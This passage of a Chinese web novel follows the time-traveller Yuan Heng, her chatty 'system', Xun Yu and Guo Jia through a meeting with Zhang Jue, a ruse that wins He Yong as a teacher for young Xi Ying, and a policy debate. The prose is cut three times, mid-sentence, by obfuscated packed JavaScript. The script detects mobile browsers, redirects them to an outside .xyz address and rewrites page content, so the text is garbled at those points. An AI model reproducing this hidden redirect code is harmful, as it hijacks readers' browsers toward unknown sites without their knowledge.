也不知道郭嘉信还是没信,更不知道他信或不信的对象是袁珩还是荀彧;但他却不负自己敏捷的才思,迅速抓住了缓解尴尬的机会:“原来阿珩竟梦魇了!是嘉招待不周,这便遣人去备一些安神汤!” 他说罢转身离开,几乎走出了残影。 袁珩:……算了,梦魇就梦魇吧! 系统见缝插针地上眼药:【荀文若怎么能这样说你呀!】 袁珩觉得系统又拟人起来了,但还是耐心解释:【他这是帮我扯了层遮羞布盖上,没有恶意的,你放心。】 系统:……不,你什么都不懂,你居然帮着他说话,这让我怎么放心! * 是夜,从来早睡早起的袁珩准备硬生生熬到了子时正(00:00),要第一时间结算成就点。 她躺进郭嘉亲自挑选的柔软被褥,嗅着荀彧亲自调的安神香,看着荀攸亲自誊抄后寄来的政令,愉快地吟唱:【穿越之我在曹营当团宠!】 系统:【……】 难道不应该是《穿越之我在曹营当比格》? 无奖竞猜,他们为什么这么小心翼翼地顺着你? 只有我才是真的无条件积极关注客户……! 为打发时间,系统问起一件好奇了很久的事情。 【为什么执着于见张角呢?】系统有些疑惑,【是因为即将发生的黄巾起义吗?还是在担忧乱世的到来。】 袁珩神情一顿:【……有一部分如此。】 与张角的谈话不仅仅能满足袁珩的好奇心。 自从袁珩想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790986|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起前尘,与杨氏因一黔首当街争执也好,前所未有过的不甘也好,袁绍、袁基、荀攸、荀彧的教导也好……无一不在提醒着,她是异类。 她有一种病急乱投医式的迫切——张角大概与她一样呢! 系统听见“异类”这个词,代码有一瞬波动:【可是我觉得你很好。哪怕没有我……你也会成为一个不俗的人。未央,你不是异类,你只是身在他乡。】 袁珩闻言,指尖几乎要掐进皮肉里,强行压抑住流泪的冲动,状若无事:【是啊……或许我只是想家了。】 而后她转移话题:【你说话还挺文艺的哈!其实我之前有想过的……就算我没有想起前世,也并不能安详地死去。有的东西是刻在基因里的,不是吗?】 在洛阳被袁绍请家法、面壁思过的那晚,袁珩曾对系统半真半假抱怨,“安乐无知地死去,好过清醒痛苦地活着。” 想起前世之前,袁珩也依然是现在的袁珩,容貌、家世、聪慧俱全。 有这三张牌握在手里,按理说想输都难。 偏偏她生来叛逆,偏偏她怀有野心;袁珩很少去设想另一种可能的人生,但她知道自己的脾性,所以很容易便能推导出来。 袁珩兴致勃勃地想象:【我大概会在过继后与阿父完全划清界限,借成婚另谋出路。因为我想搏来属于自己的权力,而袁氏绝非长久之相……我会投曹操。因为哪怕他与阿父决裂,我仍喊他一声世叔。】 越说越来劲:【他是最合适的人选,其中有可以周旋的道义的余地,我会认之为可进可退。但我终将有后悔的一日……因为我不是洞明人性与世事的鬼才,没有你兜底的我只会是赌徒。我终会将自己置于绝境。】 系统听得心惊胆战,因为袁珩所言大概有七成准确度,更因为袁珩此刻兴奋得略显疯癫的精神状态。 系统很想告诉她,未来会有真正怜惜你、爱重你、理解你的主公出现的;你的意中人是红尘中的神女,有一天她会骑着骏马来见你。 可它不能说,所以它耐心道:【这都是不会发生的事。你还有我。如果想家了,可以与我说,我一直都在。】 袁珩说完心事,大感轻松,真心实意对系统道谢:【其实也并不算非常烦恼,但这会儿一气说出来确实舒心很多!谢谢你,以及,很高兴能与你合作。】 系统感动得核心代码都成了泪眼的形状,拟人地动情:【我也很高兴认识你。未央,你真的特别特别好,我发誓再也不在工作日志里怨你了!】 袁珩:……原来你之前一直在工作日志里抒发对我的怨言呢??? 袁珩一秒变脸,怒骂道:【你这个系统怎能这么歹毒!】 系统恨自己一时忘形失言,抹了把电子冷汗,而后被袁珩趁火打劫,不得不答应帮她整理出春秋二传的所有知识点与重点。 ……其实不该答应的,可是我们未央真的是一款很惹统心疼的美强惨啊,我这不过是统之常情。 系统陷入自我PUA无法自拔,直到月末日的零点到来才停止沉浸在自己的艺术中,为袁珩展示了结算页面。 - 【光和三年八月结算报告】 【项目:野史-初级-10/野史-高级-5/野史-中级-287】 【状态:已完成】 【分数:100(完美)/50(不尽人意)/80(差强人意)】 【获得成就点:300/50/250】 【共计成就点:600】 【恭喜客户取得第一个满分,并获得相应称号“彧天香”!】 - 袁珩:【……】 袁珩欲言又止:【请问这个称号,它有什么意义和用处?】 系统:【如果佩戴称号……】 袁珩微微来了兴致。 【……客户就能随时随地,精准锁定荀彧的位置。】 袁珩大为惊奇:【原来它不是发癫,是真的有用!】 袁珩兴高采烈地佩戴了称号。 而后,袁珩沉默了。 此刻,夜深人静。 袁珩麻木地看着空气中一根粉红色烟雾凝成实质,散发出冲天的、能甜腻死人的香气,粉色的细线从自己面前绕出纱帐,穿过门窗,蜿蜒延伸向隔壁的隔壁——那里如今住着荀彧。 该怎么去形容这种香气最贴切? 高情商一句话简介:让人生出救风尘的冲动。 系统贴心解释:【这是私人订制版本的称号效果,只有我们能够感知。在你潜意识的想象中,“彧天香”里的荀文若就是这种香味;如何,你满意你所见到的吗?】 袁珩:【呃,呃,满意的。】 她能说吗?这个功能就像系统一样,有用,但极其不正经…… 12. 百口莫辩袁未央 600成就点到手,袁珩照例把它分成三份,200点购入【力量+10】,50点购入【体质+25】,成功获得了【力量:40/100(五力士可擒一兵仙,一袁珩可擒两力士)】,以及【体质:45/?(如果荀彧挖了你的眼角膜,你也能活着复仇)】。 系统:【体质是后天建设,并不包括在你的原始数据中,可以简单理解为最少能活多少年。上限依据你后续成长方向而定,如果选择皇帝路线,上限为60;如果选择武将路线,上限为80;谋士90,虐文主角100。】 这个规定乍一看很有病,其实仔细想一想,它还真有几分道理。 有的皇帝粉黑都希望他早点死(没有内涵李隆基的意思),有的武将多活几年怕是能打穿亚欧大陆(可怜的冠军侯),有的谋士多活几年天下恐也不至于三分(郭嘉你快起来活动活动)…… 袁珩:【道理我都懂,但荀彧为什么要挖我的眼角膜?我看我家里人还没死绝啊!】 系统不承认自己夹带私货:【只是一个形容而已,未央别在意。】 袁珩已经逐渐习惯系统叫自己名字而非“客户”了,但她依然时常对系统的拟人感到无语。 系统帮袁珩存上了剩下的350点,加上三月的30点共380,不算是巨款,买不了价值400的红薯和500的杂交水稻,也买不了450的骏马或者500的百疫药方。 但不妨碍系统帮袁珩规划:【如果再来两次荀彧的词条,你就能买到良种或者药方了!】 袁珩也期待起来:【到时候先买药方吧?然后寻机送给医圣张仲景,他如今应当还在老家南阳做官,离颍川不算太远。】 建安三神医,华佗、张仲景、董奉。 外科圣手华佗如今在外游医、行踪不定,杏林春暖董奉今年才十岁,远在侯官。而张仲景在南阳郡,且本身便对瘟疫很有研究,是目前最合适的人选。 系统也跟着展望起来:【还能顺带去南阳看看呢!】 袁珩在榻上兴奋地蠕动几下,而后怀揣着幸福的希望感安然入睡。 可不能熬夜——明天还要跟张角见面的! 尚不知明天会发生怎样一场流传千古之策对的袁珩愉快地想。 * 袁珩只需要期待见面就行了,然而作为名义上的未婚夫、实际上的半个长辈,荀彧需要考虑的就多了。 与大贤良师见面断不能为外人道,为袁珩清誉考量,甚至连部曲仆婢也不敢带太多,更不能时时跟随。 荀彧是自小学习骑射的标准君子,且郭氏在阳翟也算半个地头蛇,他自忖不会出问题,但为周全故,仍在佩剑与弓箭之外带上了短刀。 袁珩与荀彧计划都做平民装扮,同乘一辆朴素低调的车,只带两名佩刀部曲同行。 已至约定好的时辰,荀彧坐在车内斟酌说辞,琢磨该如何委婉地劝袁珩日后稳重一些;这次也就罢了,总不能来日她对宦官突然感兴趣,自己还得帮她联络中常侍吧? 虽说堵不如疏,但这也太不像话了……! 然而更不像话的还在后头。 此时已比约定时辰晚了半刻钟,而袁珩依然未至;荀彧自是不介意的,只是有些担忧:未央虽然性情跳脱了些,却从不会失约或迟到,是发生了什么意外吗…… 说曹操、曹操到;车外突然传来一阵急促如雷雨的脚步声,像是某种四脚猛兽奔袭的阵势,荀彧还没反应过来,就见一团青白相间的球滚进马车。 袁珩几乎是面目狰狞地拽着他的衣袖:“快、快走!” 荀彧愣了一愣,在脑子开始运转之前下意识想把衣袖扯出来。 但天知道袁珩吃什么长大的,他不但没能扯回衣袖,甚至直接“嘶啦”一声,半边粗布麻衣直接丝滑地裂开! 荀彧:“……” 袁珩:“……” 袁珩目移了一下,若无其事地放开半边上衣,继续催促:“咱们快走!郭嘉非得跟来,我好不容易才甩掉他的!” 荀彧尽可能心平气和:“难道我要这样衣衫不整地出行吗?” 袁珩有点心虚但不多,反问:“难道世兄想让郭嘉与我们一起见张角吗?” 荀彧:“……” 荀彧陷入了挣扎。 其实与张角见面并不算大事,他担忧的是袁珩控制不住自己的言论。 是让交情不深的郭氏郎君亲眼目睹他们与太平道来往,还是让根本不熟的太平道人看见自己只穿了半边外衣,这是一个两难的问题…… 然袁珩颇有急智:“世兄不如先将衣裳接回原样,待到了县郊便去寻一户人家借针线,粗略缝一缝便是。” 荀彧看她一眼,隐忍道:“我不会缝。” 袁珩一噎,而后敷衍地说:“啧,学一学就会了嘛,很简单的!” 说罢,又催着车马出发。 然而忽有一只苍白的手从车帘外伸进来,紧接着是一颗头发凌乱的脑袋,甩了甩,露出一张清秀而充满机灵劲儿的脸,大喘着气:“袁、袁珩,让、让我、赶上了、哈、哈!” 袁珩绷不住了:“你怎么跑这么快!” 这下没法儿赶人了。 郭嘉颤颤巍巍爬上车,直到马车颠颠儿地行走起来才喘匀了气,得意地笑了笑:“为了追上你,我翻了两堵墙抄近路!” 郭嘉一边说,一边亲近地凑到袁珩边儿上,很感激的模样:“还得多亏阿珩三天前教我呢。只是头一回用到实处,难免有些不顺……” 袁珩不可置信地看着他。 郭嘉这是栽赃!她怎么可能教他翻墙?! 荀彧不由侧目:“袁未央,你教郭嘉翻墙?” 袁珩百口莫辩! 袁珩气急败坏:“荀文若,这话你也信吗!” 郭嘉状若无辜地拱火:“世兄,阿珩,你们别吵了,都是嘉的不是……” 荀彧其实根本不在意袁珩有没有教郭嘉翻墙,只是随口一问,揉了揉眉心:“未央,回去后你闭门思过一日。郭嘉,你若不想自己翻墙出门、吓哭袁氏女公子、还撕坏我衣裳的事情被你叔父叔母知晓……今日的见闻,你最好烂在心里。” 幸灾乐祸的笑容从郭嘉脸上转移到了袁珩脸上。 对于袁珩来说,区区闭门思过一天,根本算不上惩罚。 郭嘉颇有些不甘,却在冷静下来后意会到,今日当真是自己莽撞了。 端看袁珩避之不及的架势,以及荀彧堪称栽赃式威胁的行为,就知道他们要去做见不得人的事。 不过……郭嘉不动声色地转了转眼珠,来都来了,总得满足一下自己的求知欲吧? 十岁的郭嘉尚不能收敛天才特有的傲气与好强;但没关系,总有一天袁珩会教会他人为什么需要稳重。 * 阳翟县郊有钧台古迹,据考是夏启时所建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790987|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “论道”之处定在钧台下一座无名亭中,张角到得很早,他手里拿着一封信,正有些愁苦地阅读。 他有数十万信众,数百弟子,自诩行走八州布道传教,已见遍世间怪异人心,却仍不能读懂来信之人——这位暗中以钱粮资助他,又如同士人对恩师一样称他为“先生”的武遂公主。 听说他近来在颍川郡行走,刘羲特地寄信,想请他打听一二在此游学的袁氏女。 张角:我看你是在为难我。 但刘羲给的实在是太多了。 于是张角千方百计打听到了荀氏公子与袁氏女从颍阴往阳翟访友的消息,为此设计了三套方案,最终却一版都没能用上。 反而是他途径一处村庄时见一染病老翁,顺手赠以符水、又暂停下来布道时,与那两人不期而遇。 那位袁氏女公子很怪异。 而这份怪异又让张角感到熟悉。 他想——此次他与袁氏女公子见面,或许已与刘羲的要求无关了。 思量间,张角听见了车马之声,他收好了那封信,整理仪容,眺望向钧台古迹,静待来人。 * 荀彧最终没有选择借针线缝补衣裳,正如郭嘉最终选择硬着头皮跟到底,袁珩不知道他们究竟在犟什么。 待到下车时,袁珩又同郭嘉严肃地确认了一遍:“你真的要同我们一道吗?” 郭嘉想了想,同样严肃地回答:“哪怕你们今日见的人是中常侍,嘉也绝不会说与他人知晓。” 甚至还起了个毒誓:“若有违誓,便叫嘉壮年而……” 话还没说完,就被暴怒的袁珩跳起来捏住嘴。 袁珩滋哇大叫:“答应就答应,你瞎起誓做什么?!” 你知不知道你原本的结局啊你就胡说八道! 郭嘉从没见过袁珩发脾气,本还有些吃惊,却在下一瞬忘记了所有情绪,只觉自己的嘴痛得仿佛要掉下自己的脸。 ——袁珩,我们都知道你有的是力气,但也不必一次又一次证明自己! 荀彧见郭嘉痛得快哭了,才连忙叫袁珩放开,不轻不重地数落:“好了,都别闹了。” 袁珩不太放心地对郭嘉强调:“你哪怕用祖宗起誓也好,可千万别再说寿数了!” 郭嘉:“……” 荀彧:“……” 荀彧假装没听见,转身向钧台下走去。 袁珩和郭嘉跟在他左右,远远地便看见亭中沉默而坐的男子;他今日并未作道人打扮,穿了身平民衣裳,按说也应当与他的气质相配,可袁珩打眼一看,竟生出几许违和之感。 ……泥菩萨再如何接地气,到底也是菩萨啊。 郭嘉抓了抓自己的胳膊,被粗糙的衣服刺得有些不适——他是真的周全,早前见袁珩与荀彧特地买来粗布麻衣,虽不知为什么,但也偷偷跟了一套;今日见荀彧住处天不亮就点了灯,连忙就穿上了。 未走近前,郭嘉一边抓挠一边偷偷问:“你们不觉得不舒服吗?” 袁珩小吃一惊:“只是外面套了一层粗布而已,你不会……” 她欲言又止,给郭嘉留了点儿脸面,但不多。 说话间,三人已行至张角面前,互相沉默而略显尴尬地见了礼。 郭嘉大大地松了口气,原来只是太平道那位大贤良师啊,那很好了! 浑然不觉底线已经一低再低的郭嘉如是想。 13. 强颜欢笑戏志才 钧台下,古亭中,几人干巴巴地寒暄几句,气氛越来越僵。 说是论道,其实在场没有人是真为了太平道而来,眼下的《太平经》——袁珩以为,事实上也与她从前认知中的《春秋》无异。 很快,荀彧与郭嘉便无话可说,毕竟他们不信这一套,更不曾有意去了解。 荀彧看了眼始终一言不发的袁珩,心里一梗,又是一叹;而后深深地、告诫地看了眼张角,便寻了个借口带郭嘉离开了。 袁珩这才抬眼看向张角:“太平道致太平。何为太平?” 张角不答反问:“这当真是女公子真正想问的吗?” 袁珩沉默一瞬,而后笑起来。 她真心实意地感慨:“大贤良师,您不是一位纯粹的道人,却也不是一位纯粹的野心家。” 纯粹的道人,不会发动起义,不会接受豪强的资助,不会与常侍互通有无。 纯粹的野心家,不会十多年来以脚步丈量众生苦难,不会赐予黔首“生”的希望。 张角也笑起来,这一笑,他脸上的那层质朴神性便染上了人间百味:“女公子更不像是汝南袁氏出身。” 袁珩不接这一茬:“先生可曾读过《战国策》——‘免冠徒跣,以头抢地,此庸夫之怒也……若士必怒,伏尸二人,流血五步,天下缟素’。先生是想要做‘庸夫’,还是唐雎这样的‘士’?” 而后并不停顿等他回答,又问:“抑或你自认已读遍了人性,你两个都不做,你要把庸夫变为唐雎,你来做安陵君。可在此之后呢?太平道的教义,又当真能致天下太平吗?” 张角微微愣住,却不是因为袁珩堪称直白的挑明。 他只是想起当年刘羲离开前,问他的话。 ——“如果这是一条注定会失败的路,先生依然会选择走下去吗?” 张角想,其实她们问的是同一个问题。 只是刘羲问出来,便叫人难以捉摸、不敢深究,甚而生出惶恐;而袁珩问得更清晰,像是扯着他的头发把他拖到水边,逼他看清倒影中自己的模样。 他那时是如何回答刘羲的呢? “那便由它失败去吧。” 张角回过神,看向袁珩。 她太年幼了,不过八岁的年纪,却如此锋芒毕露;他听说过袁珩天资聪颖,可在张角——或是世间九成人的认知中,身为汝南袁氏女,她的聪颖该是体现在学业与心性上,绝不会是如此高度可行地掀翻她自己的饭碗。 好比刘羲,她竟能说出“既有现成的公主在,何必与那阉宦结交”的话来。 疯子。 这是张角对刘羲和袁珩的中肯评价。 于是他终于回答了袁珩:“天底下永远不会有真正的太平。我不知道自己是对是错,也不知未来生死成败。可珩女公子——您若不肯藏锋,恐怕过刚易折。” 袁珩哪里不知道自己这偷偷藏不住的坏习惯,两手一摊,无所谓道:“没办法,就得等我哪日因此遭了难,才能改掉的。” 态度很老实,但说得再诚恳也只有一个主旨:那怎了? 张角:“……” 张角发自内心希望刘羲和袁珩早日相识,也免去他夹在中间被来回折磨。 两人陷入了沉默。 袁珩手里捧着荀彧带来的糖水,喝得津津有味。 张角解下腰间的酒囊,狠狠灌了一大口。 岁月并不静好间,忽有一粉雕玉琢的小郎君到亭中“替世伯讨水喝”。 张角看了眼那总角年纪的小郎君,心下一顿,正打算去牛车处取清水,便听袁珩拒绝:“回去告诉你家伯父,我们只有糖水与酒水,怕是不好叫老翁用的。” 小郎君面色一顿,而后微笑:“我那位世伯还年轻呢……” 张角闭上眼。眼不见为净。 袁珩叹气:“哎呀,你急什么?我都没戳穿你——你衣裳布料都是丝绸,腰间还挂着成色这般好的玉佩,你世伯能缺这一口水吗?” 张角:。 你已经戳穿了啊! 小郎君面色快绷不住了,只能强颜欢笑。 袁珩看火候差不多了,就跟个滑动变阻器似的软了语气:“算了,你也不容易。我那儿还有些糖水,要吗?” 小郎君肉眼可见松了口气,有些腼腆地笑了笑:“多谢淑女。” 袁珩看了眼张角:“今日多谢先生应邀论道。” 略顿了顿,脸上浮出一个甜笑,说出的话叫张角毛骨悚然:“只是劳烦先生替珩转告您背后的那一位——若当真对珩心生好奇,下回还是亲自过来为好。” * 袁珩很笃定地对系统说:【是刘羲。只有她对我有种莫名其妙的关注和在意。】 【所以你是故意那么咄咄逼人的?】系统刚才都被袁珩唬住了,没接刘羲这一茬,【我们未央真聪明,这都能看出来!】 袁珩差点被系统哄成胚胎,赶紧冷静了一下:【这很容易看出来吧……他当初肯答应荀彧就已经有些不对劲了。而今日既说好了是论道,我问他“何为太平”,他却不答,转而刻意引导,我可不觉得张角会这么冒失。最关键的——他被我那些话逼到头了,失言喊了声“珩女公子”。】 张角怎么可能知道她叫袁珩呢? 系统恍然大悟,深觉自己还有得学。 袁珩强迫自己暂时忽略古怪的武遂公主,转头看了眼身边不远不近跟着的小郎君,带着他一路往钧台去。 荀彧和郭嘉就在那边,或许知晓这古怪孩子的底细…… 便是此时,那小郎君迟疑着站定,同袁珩道:“我名戏英。无意听得女公子出身汝南袁氏,英有一事相求。” * 与此同时,钧台附近的林地。 郭嘉被全套的粗衣扎得浑身刺挠,原地抓耳挠腮、又拱又跳。 荀彧长身玉立在枯黄乔木下,借着靠树的动作压住半截被扯掉的衣裳,乍一看风姿俊秀,事实上……也很风姿俊秀。 何颙遥遥地便注意到了这两名一看便不凡的郎君。 远看去,一个是沉静温润、风雅清举的少年,一个是洒脱不羁、凭风起舞的小童,哪怕都穿着粗衣,却也只让人觉得颇有雅趣。 何颙心想:这一定是中州名门士族的公子,只不知是哪家的郎君,我且先去与他们聊一聊,若当真有德才,改日定要引荐与本初。 ——何颙是出身南阳郡的名士,在党锢之祸中被宦官污蔑,逃亡汝南后与袁绍结交。 所以说袁绍的名声好不是没有道理的,因为他与那些遭受党祸的名士是真玩儿,不搞虚的那一套。 因此荀氏大多数人目前对袁绍依然观感不错,大概属于是“虽然在大事上糊涂了些但到底还是个很好的人啊”这样…… 那边,何颙充满期待地走来。 然而待他走近,却不由迟疑起来。 那个少年郎为什么一股“动不了”的做派? 那个小童又为什么一副染了虱子的模样? 这,这跟远看时不一样啊! 何颙脚下踟蹰。 何颙是东汉人,不知道后世有句话叫做“距离产生美”,他此刻只觉得有些失望。 何颙转身便想离开。 却忽听一道童音正带着难以抑制的哭腔,在身后不远处哽咽着大喊:“你、你怎能就这样看着我摔进来啊!” 何颙一愣,而后回头看去——只见一个孩子正抽噎着跌坐在泥里,浑身沾了泥水;他旁边不远处站着个清丽可爱的女童,粗衣也难掩一派矜贵,正蹙眉看着他。 小淑女闻言,无辜极了:“我提醒过你了呀!你方才突然便要往前跑,我都说过有泥坑了,你还急着过去。” 道理是这么个道理没错,但她语气太过冷静,显得泥坑里的孩子更为可怜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790988|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何颙:“……!” 等等,这孩子是他友人的遗孤戏英啊! 何颙大惊失色,抬脚就往那边走;余光却瞥见那两个只能远观的士族公子也脸色一变,同样迈向泥坑。 何颙心下诧异,又微微动容——他俩心肠不坏呢! 而后。 便见那少年郎君走着走着,半边粗衣就滑落下来,露出里头的丝绸衣裳以及短刀。 何颙:“?” 又见那小童走着走着,又开始抓挠手臂,无意间露出细皮嫩肉却布满了红疹的胳膊。 何颙:“??” 再见那少年郎果断绕开了泥坑和戏英,关切地拉着毫发无损的小淑女嘘寒问暖:“没被吓着吧?” 那抓耳挠腮的小童倒是试图去扶泥坑里的戏英,可他将手伸过去好一会儿,戏英也只一味地哭,不肯搭上去。 小童见状微微挑眉,果断地收回手,同样凑到小淑女跟前嘘寒问暖:“阿珩,你还好吗?” 何颙:“???” 何颙觉得自己今天也是撞了鬼,怎么就遇上了这两个如此难以捉摸的人? 那边袁珩慢吞吞地看了眼泥坑里的戏英,摇头:“我没事。” 荀彧确认了袁珩无碍,松了口气,而后难得气恼:“仆婢、部曲一概没带,怎能随意与不知底细的人走在一处?” 何颙恰在此时走近,一把将友人的遗孤捞出来交给仆婢,叫他们先抱去车上整理。 而后客客气气地同三人道:“某南阳士人,那孩子名戏英,是某已故友人之子。阿英幼年失怙,或有失礼之处,冒犯了这位淑女。某在此替他赔不是。” 何颙这话说得不可谓不体面。既表明了小孩儿的身份,略带强硬地回应荀彧“不知底细”的说辞,又讲道理地客观陈述事实,再分寸很好地表达了歉意。 是真的体面——如果荀彧和郭嘉没有亲眼看见戏英故意摔进泥坑的话。 荀彧:“……” 郭嘉:“……” 气氛一时微妙起来。 何颙心下蹙眉,觉得不太对劲。 片刻,袁珩问:“我听尊驾所言,仿佛有怨?” 何颙唏嘘叹道:“有怨。我怨自己不曾早些看见故友之子,竟叫他在寒凉九月摔入泥水!” 袁珩假装没听出似有似无的内涵,心道何颙还算靠谱。 只是何世伯啊……他就是故意当着你的面儿摔的,戏英聪明着呢,哪儿能这么蠢笨地又哭又闹。 系统实在没能忍住,幽幽:【这不是你给他出的主意吗?】 袁珩嗯嗯两声:【因为他答应以后带我去南阳郡玩儿呢!】 系统:【……我都不想说。他那是利诱吗,分明是空手套白狼。】 袁珩本来也不需要谁带她去南阳郡,她只是觉得戏英很有意思,顺手帮一把也没事嘛。 方才戏英自报家门,自言是颍川本地寒门子弟。 袁珩自动捕捉关键词“颍川”“戏”,再看戏英年龄,谨慎推断他就是英年早逝的曹操谋士戏志才。 戏英不仅两年前丧父,他母亲也早早亡故了,如今寄养在叔父家中,虽不愁衣食、也仍能读书,却跟天资不如他的从弟关系不睦。 袁珩:哦,你堂弟忮忌你比他聪明! 袁珩对戏英委婉的说辞做了总结——他不愿让叔父为难,也不愿双方关系日益僵硬,恰听说先考故友、南阳名士何颙行径颍川,就想拜他为师,再顺势跟着一道离开。 又因无意听见袁珩身份,希望能向她借势。 袁珩从来都欣赏肯为自己谋划的聪明人,当场爽快应下。 又热情地给戏英出主意:“不要试图用小聪明去蒙骗比你年长许多的人,但也必须显露出你的机灵与才智。说话最怕三分真七分假,来,我同你说,我们先碰个瓷……” 系统:……这里是东汉,到底谁在碰瓷?! 14. 冰清玉洁袁公业 袁珩的思路很简单,先让何颙对戏英产生同情与怜悯,然后戏英再坦诚想拜师的想法,同时表明自己的敬仰之情。 “这其中分寸需要斟酌一二——例如坦诚时只说真话,却并非全部真话。你可以告诉你的世伯,你为何想随他离开,却万不能提起从弟的事情,留个钩子,让他猜。” 怜悯、同情、好奇三重情感加持,这还拿不下一个本就重情重义的士人? “最为关键的,是你要显露自己的品德。例如你虽有意拜师,但性格温厚,做不出这种刁蛮的事情;而我,闻名中州的奇童、出身门阀的袁氏女公子,就是为你出谋划策的人。” 对于正常长辈来说,幼年的晚辈有才华固然重要,品德却更是重中之重;且戏英如今虽还有些稚嫩,但袁珩相信荀彧严选,戏英定有足够的才华来拿下何颙。 另一方面。 袁珩真的很馋何颙的评价——他就是称荀彧“王佐之才”,称曹操“汉家将亡,安天下者必此人也”的人。 何颙与袁绍是好友,后来还和荀攸共谋刺董,四舍五入大家都是一家人了,她也想要一个高级又简单的称号! 今日若是顺利,戏英能获得老师,袁珩能在何颙面前刷一次存在感,先别管是好是坏吧——总归也算各取所需。 戏英很认可袁珩的思路,并在此基础上做出了改良,加强了“怜悯”与“才华”的分量,适当减少“品德”:“若英德行有亏,世伯定会怜我父母双亡、无人教养,这就更加便于……咳。” 戏英虽不明白,袁珩为何主动提出承担可能被定义为“狡猾”的名声,只当她生性如此仗义,于是大为动容,认定袁珩是个好人。 珩女公子仗义相助,他怎能让她为自己承担后果? 袁珩听他恳切地说完,表面上露出动容神色,实际上却被戏英一句“无人教养”孝到了。 她对系统感慨:【戏英有点儿白切黑啊。但他做事有点意思。】 总之两人一拍即合,这才有了此时的好戏。 眼下观何颙言行,袁珩才为戏英的选择放心。 何颙却并未说完,偏头看了眼荀彧与郭嘉,迟疑着问:“敢请女郎与二位郎君姓名?” “汝南袁氏,袁珩。” “颍川荀氏,荀彧,字文若。” “颍川郭氏,郭嘉。” 何颙一惊,余光细细打量了袁珩,面色当即变得友善如邻家老翁,目光都慈爱起来:“原来是本初的女儿!某南阳何颙,未央唤我声世伯便好。” 袁珩愣了一下——啊,你跟我爹是朋友? 并不知道这段历史的袁珩麻木地想:那我何必费心思刷存在感,往这儿站着一报家门不就行了……果然,“不要试图用小聪明去蒙骗比你年长许多的人”! 面上却恍然大悟的模样:“原来是何世伯!珩怪道荒郊中何来如此儒雅士人,如今对上了,阿父在濮阳时常提起您!” 实则不然。 何颙被哄得嘴角疯狂上扬,又有些感慨地看向荀彧与郭嘉:“荀世侄、郭世侄……” 何颙是逃亡去汝南的,他喜好结交豪侠名士,却不会与他们的家人后辈往来。 但谁家孩子聪明伶俐、谁家晚辈天资不凡,也都有所耳闻。 比如,袁本初的女儿袁珩五岁能辩论,七岁能作文章。 比如,荀仲慈的儿子荀彧八岁能读五经,十一岁能为父亲政务建言。 比如,郭氏这一代出了个奇童,四岁能劝诫族中大人戒躁,九岁立誓闭门读书。 起初他对这奇怪的三人组合略感不解,然而此时听说身份,又立时了然。 这个世界有时候很现实,蠢货不一定爱和蠢货玩儿,但天才的朋友则必定是天才。 何颙起了些兴致——让我来考考你们。 何颙深受党祸迫害,对汉室持悲观态度,不然也不会在未来对曹操说“汉家将亡”;但此时的何颙尚未完全失望,故仍抱有济世安邦的想法。 他不将三人当成小孩儿对待,直接跳过经义学问,开口便是策对:“今国有常侍乱朝,依诸世侄之见,当何以整顿纲纪?” 这个问题很大,也很空泛,何颙并不指望三个孩子能给出切实可行的建议;但通过他们的应答,可以看出是否名副其实。 何颙问完,袁珩、荀彧、郭嘉便都沉思起来。 郭嘉是最先回答的:“此无计也。常侍之所以乱朝者,在彼天子圣心。但凡天子在位一日,常侍便得意一日。” 何颙本最不期待郭嘉,闻言顿时大感惊异。 这孩子……虽然太敢说了亿点,但才思敏捷、一语中的,堪称洞察。只是太过洞明人性者,往往能一眼看穿世事结局。 此福焉?此祸焉? 何颙心下慨叹。 而后作答的是荀彧:“上策取而代之,中策讽谏天子,下策驱狼吞虎。” 何颙双眼一亮。 荀彧的回答有一个基础,与郭嘉所言一致:能改变常侍乱朝、党锢之祸等局面的,唯有君主一人。 但与郭嘉不同,他持有积极的辅佐态度。 荀彧说:上策是令别人取代常侍在天子心中的地位,中策是以委婉暗喻的方式劝谏天子远离小人,下策是用另一方可以匹敌的势力与之抗衡。 其中最值得回味的,便是“取而代之”的人选的留白。 而袁珩在刨除掉所有不合时宜的言辞后,总算找到了可以说出来的答案。 这仍算一场豪赌——恰如一月前她与袁绍在马车上的问答。 “以乱止乱。当今天子执政如执棋,朝局便是棋局。局中博弈之乱,必生局外之危;局外之危既生,则局中之乱暂休,可结同盟。” 袁珩只说了一半,咽下了后面“当外部危机解除,内部便会再度生乱,循环往复,直到彻底分裂,直到再有实现大一统的君王”。 何颙不由愣住。 而后,他以一种全新的目光看向袁珩,又看向郭嘉与荀彧。 何颙沉吟片刻,不知想到了什么,大笑起来。 